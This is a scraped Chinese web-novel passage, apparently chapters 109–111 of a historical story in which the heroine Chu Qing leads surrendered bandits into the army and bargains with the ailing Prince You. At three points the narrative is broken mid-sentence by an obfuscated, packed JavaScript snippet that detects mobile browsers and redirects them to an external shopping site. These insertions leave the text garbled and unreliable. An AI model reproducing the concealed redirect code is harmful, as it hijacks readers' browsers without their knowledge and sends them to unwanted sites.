没想到小小土匪打了自己不知悔过还敢与他如此叫嚣,为首官员自觉失了面子,高声呵来看着眼前这一突发状况怔愣在原地的一众手下,“虔来山土匪凶狠蛮横,虽受招安却仍不见知错悔改,来人!将他们所有人拿下!押进兴民城牢狱听候朝廷发落!” 此令一下,包围着土匪们的两千余州府军面面相觑而后蠢蠢欲动,被包围的土匪们看见官军们不似作假的架势心里一惊,眸中皆涌出不可思议的惶恐与殊死一搏的决心。 眼看他们两拨人快要打起来了,躲在暗处的白冲再按捺不住了,他挤过堵在自己周围的兄弟好友就要过去拉架,却被身旁几人合力拉住。 白冲:“莫要拦我!招安虔来山土匪是我老爹差事,若是办砸,他少不了要被幽……被朝廷问罪的!” “小白,你先别急!”其中一人与他宽心,“威虎寨那位二当家要是连这场面都镇不住,那真是白瞎我等对她的仰慕了,再等等,要是真看势头不对咱们再赶回去报信,你看如何?” 白冲望着被众手下护在身后以至于看不清身影那人,心中也好奇她究竟会如何收场,他暗暗犹豫许久,终究还是抿着唇轻轻点头。 受招下山后,虔来山众土匪便将自己随身兵器全部上缴,他们没有防身之物,可个个眼中涌出的杀气也震得四面手执利刃的官兵们不敢轻举妄动。 这些土匪连官兵都不放在眼里,若是招他们从军,将来还不知会惹出多大的乱子,下令逮捕他们的兵部官员从没见过这般嚣张匪贼,一发狠,再次呵令手下官兵,道,“都怔愣什么!还不速速将他们拿下!” “我看谁敢!” 初暒拨开挡在自己身前的众人,缓步走向好像能把她吃了的兵部官员,她漠视周围举着兵刃对她亦步亦趋的小兵,只看着那官员将一道圣旨拍在他面前桌上,冷冷道,“我威虎寨奉旨下山受招,你算什么东西居然妄想抗旨逮捕我们?你要是嫌自己命长,直管继续下令将我拿下,再顺便猜猜,是四周这些小兵的刀快还是我手中大斧抹了你的脖子快。” 官员目瞪口呆的看她拍完圣旨又抽出别在腰间的大斧随手比划在自己喉咙,他吞了吞口水,仍旧嘴硬,“你敢威胁我!” “这不是你逼得么。” “我逼你什么了!?”官员吼叫,“我按规章办事,虽说言语对你有些不敬,可说到底也是你手下先动手打我的,一个匪敢伤官,以后还有什么以下犯上的事干不出来!” “嚷嚷什么,别以为我一直猫在虔来山就不知晓征兵诸事。”初暒微微皱着眉头,不耐烦地说,“中北战时征兵哪来什么验身规章,只要应招之人身体康健,不耽误舞刀弄枪,上头巴不得新兵能多多益善,而你非得将时间与精力花费在穿脱衣裳上,这不纯纯是脑子进水了吗,再者,今日天气这样寒冷,你特意将挑兵登记桌子抬在外面,又假借规章命我等脱衣验身,估计只是想煞煞我们锐气,朝廷招安土匪是好事,我们亦赤手空拳的受招以证明自己的诚心,可你却处处为难,除了格局小、心眼坏,我再想不出其他能解释你这些举动的原因了。” 初暒当众揭露出他耍的小把戏,又句句戳中此人的肺管子,兵部官员心虚地看了一圈异样看着自己的土匪与官兵们,黢黑的脸上红一阵紫一阵的,他无话反驳,只结结巴巴问,“你如何晓得这些征兵内幕?” “我不过随口一说,还真说对了么?您当真是有意为难我们啊!”初暒佯作鄙夷,啧了一声,“还说土匪蛮横,我看你们这些当官的也刁蛮的很呢。” 土匪们听见这话,均有意无意轻轻嗤笑起来,兵部官员反应过来自己被她戏弄,气的你你我我好几次仍旧没说出一句整话。 报完这官儿对自己不敬的仇,初暒看他被气得似乎不轻,主动递出台阶说,“我这人向来口无遮拦,得罪之处还望海涵,只是……您是兵部官员,而我观此处大多都是兴民城州府军,我们这些土匪被人指指点点惯了,自然不会在意,可您要是不想再让他们看您笑话,不如在我们中尽快挑出合适从军的兵士,等应付完这桩差事之后你我各奔东西,我们也不会再碍您的眼了,您说呢?” 这少年胆子不小,宠辱不惊又进退有度,年纪轻轻便将软硬兼施与真话假说使得炉火纯青,只带不足六百人也敢空手下山应对这两千余整装待发的官兵,难怪能一统虔来,还收服了这么多愿意舍身护她的土匪喽啰, 确实像是个人物。 兵部官员打量初暒许久,才转身命手下官兵将木桌抬进帐中。 他翻开户部才送来户籍名录,凝声一字一顿道,“威虎寨初暒验兵合格,准许其落户于兴民城并转入军籍!下一位——” 兵部开始挑兵,预示着他们与土匪争执这场风波就此结束。 招安得以顺利开展,白冲下意识松了口气,友人见他这样不由笑道,“今日真是没白来,那威虎寨二当家果真是个人才,小白,你爹的官途保住了,可往后我们行事是不是却要困难许多了……” 白冲打断他,“切莫声张,招安完虔来山土匪后,城中征兵也到该截止之日了,我们须得尽快回去。” “是!” 虔来山此番受招土匪虽然只有不到六百人,但兵、户官员即使手握初暒准备的清单名录也依旧从早忙碌到半夜才将所有人员物品清点登记清楚。 “柳大人,这些都是土匪名录。” 确认完最后一笔兵器数量,户部其他官员入营帐交给柳思无三份名录,解释说,“第一份名录是今日收集到的所有土匪姓名与户籍,在收集名录同时下官亦命人同步核查了他们记录在册信息的真伪,其中第二份是核实无误者,而那第三份则是查无此人及可疑人员详单,您请过目。” 没有犹豫,柳思无率先翻开了第三份名录,待首页第一个姓名映入眼帘时,他不由问道,“初暒?此人是虔来山威虎寨二当家的,她的身份有何可疑?” “初暒二字有名有姓不似小字,但她登记时却说自己是个孤儿,四方流浪,下官听闻她是从安南庄步入虔来山落草的,可下官今日翻遍安南庄及兴民城周边城池村庄百姓户籍名册也并未瞧见此人姓名,故而将其纳入第三份可疑详单中。” 安南庄? 姓初。 柳思无根据她的年纪猜测,“会不会是因为她年岁不足十六便离了乡,因此还不曾用正名入户登册?” “是有这个可能,初暒的身量要比寻常十六少年高出许多,下官观她言谈举止也不像是没有经过世事的孩子,故而觉得她言说自己年岁十七这话,应该是真。” 柳思无好似想起了什么,再问,“你可打听到那位初暒是何时从安南庄入虔来山落草为寇的?” “大概是三个月之前。” 三个月前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888158|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是虔来山土匪放火烧毁安南书院的时候么。 柳思无记得自己回安南书院吊唁于先生时,曾听说土匪将书院一个女学生后不慎坠崖,而那女学生好像就是姓初。 白日里,那位土匪当家与白向福谈话时不卑不亢的面容再次浮现在柳思无脑中,他闭上眼仔细回忆起她回身挥手招来与自己交接钱粮兵器手下的片刻背影,在电光火石之间竟恍惚觉得那背影自己有些似曾相识。 可是…… 到底是在何处见过呢? 户部官员看他神情不对,试探问,“柳大人?您是想起什么了吗?” 柳思无缓缓睁开眼,道,“今日忙碌,只是有些累了,这三份名录先存放在我这里,你先回去休息罢。” “是,下官先行告退。” 收好头两份详单,柳思无思虑之后唯独将第三份可疑名录揣在自己身上,起身吹了灯离开办事营帐返回兴民城。 户部马车行驶在黢黑夜里,不论车内官员还是驾车车夫,都没有注意到有一矫健身影攀着车沿悄声匿迹的吊在了马车舆下车轴上随他们一起进了城。 兴民县衙后院厢房外,趁夜求见幽王的黑衣男子屈膝半跪,抱拳道,“主子,属下潘闯有要事禀告。” 房门轻声开启,潘闯瞧见给自己开门的是许久不见的无恩。 两人互相点头算是打过招呼,潘闯随他入内,向披着外衣坐在桌边的薛霁行礼。 “主子。” “起来说话。” “是。” 潘闯应声站起,抬头那瞬又瞧见薛霁脸色苍白,看起来果真与外头传言那样闭门不出,只因病得厉害。 尽管病弱,却依然俊美。 他担忧问,“主子身子可还好,要不您先歇息,属下明日再来?” “不妨事,你有话便说。” “是。” 潘闯从自己在豹子山遇见初暒开始长话短说,一一禀告了她如何只带三人便手刃豹子头夺取豹子山,怎么只率二百余人利用白冲等人调走熊黑、石灭刀客谷,又是怎样放走数百被掳百姓、围杀黑鹰岭土匪,并在寻见发现山中矿产具体方位后将计就计,激齐威虎和燕山鹰联手与朝廷作对。 “直到前几日燕山鹰反应过来自己被她利用,杀了齐威虎后又自言一句‘此生只愿屈居于她一人之下’后当众自刎,初暒才亲口说她入虔来山就是想寻一个土匪山寨中当家的身份,并以便用此名声顺理成章的受了朝廷招安,主子,初暒进山并非只为找矿,招安从军才是她真正目的,此人年岁不大又是个女子,却有这般魄力与心机才能,实在世之罕见,属下与她相处三月之久却仍旧摸不清她的底细,是属下无能,请主子责罚。” 虽然早从潘闯借鹰隼送回来信件中知晓初暒本事,可直到亲耳从他口中听见这些事件详情,无恩惊讶之余才终于明白主子早知道她的与众不同,因而才会如此看中这样一个天赋异禀的让人匪夷所思的农户之女。 薛霁并不意外初暒目的,也没将潘闯的请罪当回事,只问,“今日招安可还顺利?” “虽有插曲,却十分顺利。” 潘闯将今日见闻和盘托出,末了又说一句,“她当众指出兵部官员假传征兵规章有意为难受招土匪时,那官兵震惊羞惭的模样不像作假,属下觉得她……身为女子却一心想受招入伍,又懂得不少军中规章,实在是奇怪可疑的很……” “你觉得初暒可疑奇怪,如若本王命你随她入伍从军,你可愿意?” “愿意!” 潘闯不假思索,等话说出口才察觉自己嘴快,他红着脸结结巴巴,刚想辩解自己没有另择他主的意思时才发现幽王殿下嘴角微扬,语气也并不带冷意。 他没见过主子这样,立即吓得伏地叩首,闷声道,“属下说错话了,请主子责罚!” “本王随口一问,你无需放在心上,时辰不早,先下去吧。” “是。” 看潘闯惴惴不安的起身离去,无恩问,“您真要派潘闯随初暒从军吗?” 薛霁:“有比他更适合的人。” 无恩还是想不通白,“初暒一个姑娘家,既然愿意替您办事,又为何还要受招从军?她究竟准备干什么?” “初暒进虔来山就是为通过招安入伍从军,替不替本王办事她都会这么做,说起来倒是本王沾了她的光。” 无恩小声道,“要是没有您在外与她配合,招安这事儿哪有这么顺利,潘闯都知道连夜进城与您回禀,那丫头倒好,居然还在城外安稳不动,真是没有良心。” 薛霁缓缓起身,笃定低语—— “她会来见本王的。” 110. 分兵 依照白向福原先安排,招安结束后,留派三百名兴民城州府军原地驻守,安置五百六十一名土匪在城外临时营帐暂住,静候新兵入营消息。 土匪们受招前一日在黑鹰岭大摆宴席饮酒畅谈,个个兴奋地睡不着觉,受招当日又打着精神强撑出生龙活虎的模样被户部、兵部官员审核查验到大半夜,等好不容易被分配进休息营帐,他们也顾不得什么警惕谨慎、以防偷袭之类只管蒙着自己的脑袋呼呼大睡。 次日,天还没亮。 受招土匪居住的营帐中,一通铺角落里就有人影徐徐坐起。 她像是没有赖床的习惯,起身后套了外衣蹬上鞋便利落的走出营帐找水盥洗。 在外值守的小兵认出这少年正是昨日与兵部官员对上也毫不慌张的威虎寨匪首,不仅没有多言阻拦,反而睁一只眼闭一只眼任由她在营地里四处寻摸溜达。 天边熹光逐渐穿过云层,落在兴民城外的空阔大地。 初暒洗漱完,瞧见驻地州府军换完班已经开始列队绕着营地出操晨跑,她活动了片刻筋骨,跑过去跟在了出操州府军的队伍最后。 落在队伍最后的州府军看见这土匪头儿昨日被折腾了一天,今日竟还有精力一早出操,顿时不约而同对她起了捉弄心思,他们各自拍了拍身前的同袍,使眼色引他们往后看,无需多言,州府军们默契地相视一眼,然后纷纷咧着嘴越跑越快。 原本匀速前行的队伍忽然开始挤着向前冲刺,初暒不用想就知道这群人肚子里憋着坏水,于是她立即调整呼吸步伐,以便能够追赶上他们。 兴民城外营地不算小,按照超出寻常的速度围着外围跑过十几圈后,州府军队伍已有不少人满头大汗、气喘吁吁,脚下步伐亦开始乱七八糟,他们以为此举早将那个还没开始入军训练就想要逞能的少年远远甩开,却没想到自己一回头就看见初暒依然神色如常、步履整齐的紧紧跟在队伍最后一步不落。 之前在安南书院与虔来山生活时,初暒就常常绕山奔跑,以锻炼增强自己的体力与耐力,那些崎岖山路她尚且跑得如履平地,如今跑在这平地上更是不在话下。 察觉州府军们越跑越慢,初暒蓄力超过他们后边跑边问,“怎的开始降速了,可是早操该结束了?” 她怎么还有劲儿说话!? 州府军们瞪着这个看着弱不禁风的小少年,忽然明白‘搬起石头砸自己的脚’这话是什么感觉。 有人再跑不动了,停下屈身撑着大腿大口喘气,带队的长官余光瞥见身后队列渐渐拖沓分散,终于也顿住脚步上气不接下气,道,“是…这营地太小跑不开,只能凑活几圈,稍后咱们还有其他公务,今日就先练到这儿了……” “成,那您忙,我先回去。” 初暒告辞,转身单手按住营地外沿挡马轻巧地翻身进去。 初暒的身量高挑偏瘦,十分敏捷,跟在州府军队伍中出操时奔跑动作也很标准,如果她再将作战戎衣穿在身上,悄声混迹的在州府军中恐怕也没有人会觉得有什么不对。 柳思无站在户部办事营帐前看着初暒被汗湿的灰衣背影,他目光一沉,从怀中取出名录,执笔划掉其中一个姓名后才唤来信使,道,“速将此物送去知州府。” 临近用早饭的时辰,沉沉睡过一夜的土匪们闻见饭香才接二连三的眯开眼睛,伍二起来不见初暒,就要外出寻找,却不想才刚出营帐,便一眼看见端着饭碗正蹲在外面狼吞虎咽的少年。 初暒认得字,也能写出一手好字,又长得文质彬彬,任谁一瞧都觉得她原先肯定是个读书人,可她此时大大咧咧的蹲在路边大口吃饭,浑身哪有一点读书人的样子。 伍二摇头笑笑,排队打完饭也蹲在了她身边,问候一声,“二当家,起得早?” 初暒捧着碗,仰头搂完碗里最后一口,又将嘴上的残渣抹掉才回他,“嗯,起得早。” 伍二快要吃完时,楚六、姜九、潘闯还有小运气才迷迷糊糊地前后从营帐出来,楚六看见二当家和伍二不顾身份的蹲在路边用饭,刚想开口取笑,却忽然听见远处有人高呼—— “虔来山所有受招土匪速速于营地中央聚合!” 啊! 饭还没吃呢! 起晚的几人心中同时哀嚎,而下一瞬他们竟瞧见自己的二当家迅速起身后从怀里取出一包馒头塞给楚六,说,“分给大家,先垫垫肚子。” 起晚了还有馒头吃。 还是二当家最心疼他们! 楚六等人含泪咬着馒头跟在初暒身后跑去集合,这五百六十一人一在营地中央站定,立于队列面前的官员便展开手中卷轴,高声宣布,“今日分兵!念到姓名的新兵答到后,于本官左手边站定。” “是!” “初暒!” “到!” “伍千裘!” “到!” “楚六!” “到!” “宋运!” “到!” “张……” “到!” …… “以上新兵列队速于兵部营帐中领取作训戎衣!我们明日便离开兴民城赶赴新兵营!” “是!” 官员念完卷轴姓名就要退场,可营地中央零零散散仍然站着十几个受招土匪,楚六以为是他没有读完才将这些人漏掉,便高声询问,“长官别走啊!此处还有好些人您没有念到呢!” 那官员听到呼喊,重新展开卷轴再一次数过一遍人数,说,“核对无误!名录上就只有你们这些人!” 姜九问,“那我们剩下的人去哪儿呢?” “既是分兵,所有人必定会被分去不同的地方,本官只知晓名录上的新兵去处,其余人……自有其他人将你们带去其他好地方。” 官员说完便带着在名录上有姓名的新兵前往兵部营帐,初暒回首看着留在原地却面露喜色的姜九,心里隐隐有种不好的预感。 虔来山土匪们原先以抢掠谋生,抢到什么就穿什么,哪里真正有过自己的衣裳,此时瞧见兵部营帐早早为他们备好的新兵作训戎衣,个个都喜悦兴奋地不能自已。 一领取到作训戎衣,楚六就迫不及待地穿上身左右显摆,“二当家的,这衣裳看着真威风啊,您怎么不穿上试试呢?” 初暒没有回答,好像在想什么事情。 伍二看出她心神不宁,便问,“二当家的您怎么了?可是发现有哪里不对吗?” 初暒沉吟片刻,才将自己的疑问说出,“征兵初期所有新兵皆是白纸一张,这个时期一般不会分兵,只有进新兵营受训月余之后,上级才会根据士兵考核成绩、才能潜力划出不同等级再分兵编队,因而今日这场分兵我总觉得有些不对劲儿。” 楚六不在意说,“有啥不对劲儿的,其他地方咱不清楚,可是这兴民城紧挨着虔来山,朝廷往年打不过土匪,常常叫嚷着要招安,原先山里也有不少土匪曾揣着‘将军梦’下山受招,可是没多久又嫌当兵苦偷偷从军营里跑出来重新做土匪了,听他们说似乎只有兴民城这儿每年新兵入营前有分兵这套呢。” “你可知此番随我下山的兄弟们中是否有曾经受招却做了逃兵的?” 初暒神情严肃,楚六心中也不由打起鼓来,他一边回忆一边说,“这些事儿小的是从齐威虎口中听来的,他说自己年轻时就是受招然后又跑回虔来山的,那会儿我们在寨中闲聊时小的还记得好像还有几个兄弟附和说自己也曾在军营中溜达过一圈,只是时间长了,有些记不清这些话都是出自谁口……” 楚六正在苦思冥想,脑袋里不知怎的突然出现方才听说自己要去好地方时,立即咧嘴笑出两排大牙那小子,猛然说,“对了,二当家!其中就有姜九!” 糟了。 受招那日户部官员简单询问众土匪姓名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888159|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、年龄与户籍,原来只是为了收集比对信息,他们一直都有借着招安,揪出身份存疑或是做过逃兵的虔来山土匪的惯例。 初暒眉头紧锁,像是终于想通什么。 楚六见状,忙说,“二当家的您别着急,兴民城年年征兵都这么干,也没听说被分走的兵出过事儿,而且姜九一直都用的假名,户部那帮官员定然也查不出什么的。” “朝廷各部官员并非人人都是吃干饭的!不然你以为我为何会费这么大力气以土匪身份受招从军!”初暒为压下心中焦急,双手叉腰来回踱步以求自己能冷静下来尽快想出转圜之法。 伍二第一次看见初暒这般急躁,也猜出情况或许不妙,他安抚道,“二当家的,小的见潘闯也被分走了,他那样谨慎小心一个人,应该做不出当逃兵的事,他们那队人会不会只是被分去其他地方了。” 他们不知道潘闯是幽王的人,可是初暒心里清楚。 潘闯并不一定会随她从军,幽王大概会借这批受过诏安的逃兵名单趁机将他的人摘出来带走,因而正是潘闯也在其中,初暒才越发觉得姜九等人此次被分走恐怕是凶多吉少了。 干想也想不出什么有用的法子,初暒停步与众人说,“我出去一趟,旁人若是问我下落,你们只说我被白向福差人喊进城了。” 要扯谎就扯个大官的慌,反正这些小兵也不敢跑到白知州面前质问他寻一个土匪头子做什么。 “是!” 知道她要为此事进城奔波,伍二随即点头,郑重道,“二当家的,万事小心!” 昨日在营地中,初暒曾听来往小兵私下闲话说虔来山土匪虽是白知州上奏朝廷以招安之名收为己用,可实际上是幽王的意思,幽王有心拉拢白知州以便将自己的手伸进军营,他贼心不死还是想趁幼帝羽翼未全,耍手段为那明堂上的高座苦心筹谋,要不是他最近病重只能躺在县衙休养,招安这日他肯定要出城亲自会会那位只带不足六百人就敢下山受招的虔来山土匪首领的…… 明日所有新兵就要启程新兵营,州府军老兵油子都知道这些青瓜蛋不敢在今天随意跑远,故而有许多人会趁此时机偷偷混入城中享受最后一日潇洒快活。 初暒尾随几个穿着便衣的州府官兵悄悄进了城,她从城中小贩口中打听到兴民县衙方位,很快便找到县衙位置并翻过院墙寻到后院一间处处布着暗卫的清静之所。 无恩吊在房梁看着这个许久未见的小姑娘一身灰色利落劲装,昂首从院门大摇大摆的进来,恍惚间还以为是自己眼花。他惊叹一句,“这面容装扮真是英气,那诗句是怎么说的?‘双兔傍地走,安能辨她是雄雌?’” 有暗卫反驳,“什么雄雌?这分明是个意气风发的少年郎么,无恩老弟,你才多大,怎的眼神就开始不好使了?” 无恩笑笑,高深的说出一句,“你懂什么。” “哎!她要求见主子!无恩你怎的还在这儿吊着?我以前没见过她!要不要拦一下啊!” “以前没见过,以后会常见的,歇会儿吧你。” 无恩说完,继续吊在房梁上闭眼假寐,一旁的暗卫看他不在意,立刻打起十万分的精神紧紧盯着那位在主子房门外颔首自报家门的少年,朗声道—— “虔来山威虎寨二当家初暒求见幽王殿下!” 她的声音落下许久,房内仍旧没有动静,就在暗卫以为这少年准要吃个闭门羹时,又瞧见那少年收拳挺身,竟上前兀自推门进去了。 暗卫在自己心里默默数过几个数,仍不见她有被屋内的主子飞踹出来的意思,立即用力将无恩摇醒,惊诧说,“她她她……她不经主子应声便独自进去了,至今还没被踹出来!无恩老弟快告诉兄弟那少年究竟是何方神圣!” “她究竟来自何方咱的确不知道,只晓得那少…年确实挺神的。”无恩眯着眼睛,好言劝慰—— 你别多问,以后会知道的。” 111. 祈愿 薛霁下榻的县衙厢房,门虚掩着。 初暒在外求见许久仍不听有人应声,于是上前直接推门走了进去。 屋中并没有人,只有桌上正中摆放的一本书册格外显眼。 初暒拿起书册翻开一看,发现写在首位的初暒二字已被人划掉,而自己姓名之下果真赫然罗列着姜九、潘闯等人大名。 “本王于招安一事上助了你一臂之力,你倒准备用浑身责怨来感激么?” 像是休憩时被人吵醒,薛霁沙哑但朗正的声音骤然响起,初暒循声看去才瞧见他一袭蓝绸素衣、半束着乌发自屏风后徐徐走出。 薛霁身上衣物尚未整理妥当,可并未显露出丝毫狼狈拖沓,他从容不迫地抬手拉系自己侧身衣带,举止仪态十分的绰约端正。 听闻此人病体缠身,初暒亲眼见了才知传言非虚,未免自己语气太冲再将他气出个好歹,初暒屏息抑住自己情绪,才放下手中书册颔首抱拳,说,“初暒不敢。” 薛霁撩袍自桌边坐下,不紧不慢道,“单枪匹马上虔来山,只在数月之间就能将其中以狡猾凶狠闻名的四寨土匪收服,身负如此手段才能,这世上竟还有你不敢的。” “殿下过奖。” 初暒装作听不明白他的冷嘲,厚着脸皮说,“我晓得诸如查明虔来山底的矿产方位、惩处所有混迹在山中的南夷奸细、收服四寨土匪等功不足挂齿,您提议的招安之计才是真正能免去采矿后顾之忧的良策,不过……以上虽说是尺寸之功,却并非全只凭我一人才能手段就能做到,古语有云‘有功不赏,为善失其望’,故而我今日前来便是想请殿下手下留情,特赦我手下犯事喽啰,以其之功抵其之罪。” “古语还有云‘奸回不诘,为恶肆其凶’。” 看初暒兜兜转转终于说出自己目的,薛霁伸手将她放在桌上的逃兵名册展开,用指尖轻轻点了点上书姓名,道,“你来为手下求情,便是早知道这名录上除过潘闯,其余皆是数年前受过朝廷招安却又离营出逃之人,寻常逃兵,被捉拿后尚且要处以绞刑,何况是一些做惯了烧杀抢掠、逃而又招的土匪,本王看你花费如此心力想以土匪身份受招从军入伍,十分想问你一句,若将来你有幸在军中谋居高位,难道也会对手下逃兵视若罔闻、手下留情?” 被他一问,初暒忽然怔住。 姜九等人做惯了烧杀抢掠不假,逃而又招之举也暴露他们本性其实是对百姓安危与对朝廷权威公信并无顾忌,如此反复无常和不守信义之人即使被征入军中,她也万不会将自己与兵士们的后背性命交给这样的同袍。 她忽然想起自己还是慕初时,赤霄军在她治下,若发现逃兵,必是当众绞杀以儆效尤,若有人求情亦只会被当成同谋一齐治罪。 自己前世似乎与‘手下留情’这四个字从来没有什么瓜葛,怎么重活一世倒开始心慈手软起来了。 “思虑不周,是我唐突。”初暒敛起眼中凌厉,重又颔首,语气平淡至极,“除此之外,我还有一要事相求。” 薛霁微微挑眉,示意她继续说下去。 “我已兑现深入虔来山打探矿物地形图虚实之诺,而今您既知晓我花费如此心力就是想以土匪身份受招,如果我此行顺利,那么您方才这句‘若将来我有幸在军中谋居高位’便不会只是猜测与假设,故而初暒斗胆,恳请殿下准我从军入伍。” 安南书院百果园那夜,初暒以虔来山匪首身份拜见了自己,于是数月之后,她果真以虔来山威虎寨二当家之名接受了朝廷招安,薛霁清楚她并非说笑,也明白她这话不是请求,而是告知。 “当兵打仗、战场杀敌可同你带领手下土匪在山林里抢掠打杀不同,铁蹄比刀枪坚硬可怕十倍、外敌又较土匪凶残狡猾百倍,稍不留神你便会沦为边关万千孤魂之一,你当真要去?” 初暒郑重点头,“其中艰险危机我早已心知肚明,我当真要去。” “本王名声在外,你需得想清楚,从了大兴的军,入了中北的伍,却仍旧替本王办事之举意味着什么。” “我怕死却贪图名利与财帛,从来不是做清白忠臣的料子,再说名声这东西既挡不住酷暑严寒,又抵不了果腹餐食,有了又如何?殿下您只管放心,只要使我没有后顾之忧,我这人可是好用的很。” 初暒在插科打诨,薛霁眼中却没有笑意,“中北女子位卑,不能入仕也不允从军,若有违背,一经发现便是祸连亲族的大罪,你可有想过,若身份暴露,与你沾亲带故之人会有什么下场?” 薛霁三问,每一问都像一把锋利尖刀狠狠戳在初暒心上,其中她过往无时无刻不在暗寻解决之法却从来没有真正找到的,只有最后一问。 忠心耿耿却被歹人诬陷叛国,身负骂名惨死在映月关外的五千兵士的清白与血仇,侥幸重活的她不能不还、不能不报,可……万一她身份暴露,初家人该怎么办。 紧握的双拳无力垂在腿边,初暒侧首垂眸,试图隐去自己满腔愤恨与挣扎无措,她无法回答薛霁发问,只能任由安静与沉寂在这厢房中无声蔓延。 良久之后,薛霁才轻拂衣袖,幽幽道,“能查明虔来山矿址方位、收服山中四寨土匪并灭口混迹在土匪中的南夷奸细,亦有心从军舍身抗敌,这桩桩件件无一不证明你身负过人之能与鸿鹄之志,本王惜才,不愿明珠蒙尘,因而愿意反冒不韪之名解你在从军路上的后顾之忧。” 初暒闻言,眸中倏地清明可面上神情并不见半分喜色,她看向薛霁,理之当然问,“您的条件。” 收到白向福送来的受招土匪可疑名录时,薛霁便猜到这名录上的人对初暒隐瞒了自己过往的逃兵经历,不然以她护短本性,早将这些人赶出受招队伍以逃脱一死。 薛霁晓得初暒会为此事寻他替手下求情,却没料到她能如此迅疾的分清利弊而后默许朝廷去取那些涉事土匪性命,她懂得审时度势,心又慈中有狠,这样的人最适宜在军中掌兵。 身子几不可查的前倾一厘,薛霁目视初暒不起波澜的双眸,沉声一句—— “你从军掌权之日,本王要可供驱使的兵士。” ———— 与幽王详谈之后,初暒从县衙出来已过晌午,她路过兴民城主街时看见前方往来行人正对着一家空铺子指指点点,偏头一瞧才发现那是一家名为‘一口甄’的点心铺。 有路人疑惑问,“这铺子生意原先那般红火,怎的这么快就关门大吉了?” 也有人偷偷为他答疑,“你们还不知道么,这铺子幕后老板就是兴民县衙书吏吕贾,那个大贪官将所有贪污受贿的贿银全部都藏在这点心铺的墙壁里呢,天网恢恢,此事败露后这铺子便被上面查封了。” “嗐!什么天网恢恢,查封此处当夜我就扒在家里门缝里偷看呢,我分明瞧见是一位身着华贵衣袍、器宇不凡的男子专程带着白知州与郑县令来这儿捉赃的。” “带着?兴民城中有比白知州还大的官么?” “幽王奉命来虔来剿匪,除了他还能有谁?”说话之人四下寻摸一圈,见没有官兵巡逻,才小声又道,“那会儿夜深人静,处处都黑灯瞎火,于是我亲耳听见郑县令跪倒在幽王脚边扬言他曾着吕贾教唆,于内贪污县衙公费,于外收受刁民贿赂呢!” 此言引得聚在点心铺外的商贩行人一阵哗然,可有人却并不相信,他反驳说,“你莫要胡说!前几日征兵时我还看见郑县令在办差忙碌呢,既然他已经当着上官的面承认贪污受贿,怎么可能不被逮捕入狱啊。” “就是啊,我也瞧见了……” “我也见了……” “我这不是还没有说完么。”看他们不信,那人急了,压着嗓子又道,“那夜郑县令刚认完罪,幽王便说他此举也算是投案自告,只要能将这些年受贿金银全数交出,他就恕郑县令无罪,你们既然知晓书吏吕贾因贪污被捕,可与他形影不离的郑县令却至今相安无事,不正是证明他已经用贿银换回了自己的性命吗。” “原是这样,但是查抄贪官污吏是大快人心的好事,他们为何要在夜里偷偷摸摸的干呢,” “你是真笨还是装的?若大张旗鼓的查获贪官,所得贿银必然要上缴朝廷,可若是这般偷偷摸摸,那些银钱最后还不知会进了谁的口袋呢。” “难怪幽王只要郑县令交出贿银就饶他性命!一个贪官的仓库瘪了,一个奸王的荷包却鼓了,权贵护着贪官,视律法于无物,真是好没天理!” “你小声些,虽说虔来山土匪受招,匪患已除,可是那幽王还没走呢,我可听说他身子病弱,为人却阴毒的很,你这话要是被他耳目听去,当心小命难保。” “怕什么!若他敢在兴民城兴风作浪,自有白知州为民做主!” “那你猜查封‘一口甄’那晚,幽王为何敢当着白知州的面对郑县令说出那番蔑视朝廷律法‘以钱换命’之言。” 这下再没人说话了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兴民城红光寺承建至今已有数百年,该寺前朝后期不幸毁于战火,大兴开国之后才被云游至此的高僧发愿复兴,自此往来祈福许愿的信徒便开始往来不绝、香火不断。 初暒前世年少扮男装从军,上战场杀敌,见多了生离死别,做惯了自力更生,只知道这世上唯一能靠得住的只有自己,从来不信什么佛光普照、神仙庇佑,不过……饶是她这样对寺庙道观毫无兴致之人,也曾听说过这红光寺殿内供奉的观音菩萨十分灵验,尤其在两姓姻缘一线牵上远近闻名。 走进这座历经沧桑的百年古刹,穿过其中虔诚祭拜的善男信女,初暒步入佛香梵音萦绕鼻腔耳畔的大雄宝殿,于一排排摆放整齐的往生祈福龛位前找到了赵挽挽之名。 赵挽挽生前就是在赴红光寺途中被慕峰青折辱,刚烈自尽,其父赵无祸告御状要慕峰青用性命偿还,慕维之在万般无奈之下将儿子送进军营,并顺便把自己也塞进去随军。 前世她在不情不愿中参军当兵,可也正是因为当了兵,她才见识到幼时从未见过的广阔世间,才终于明白母亲那句‘外头广阔的很,等你能从这里飞出去的时候就知道了’。 她飞出去了,于是她知道了什么是自由。 那时候日子过的虽苦,但大部分时光都是快乐的,以至于让她几乎忘记,自己的快乐与自由底下压着一位鲜活少女的生命。 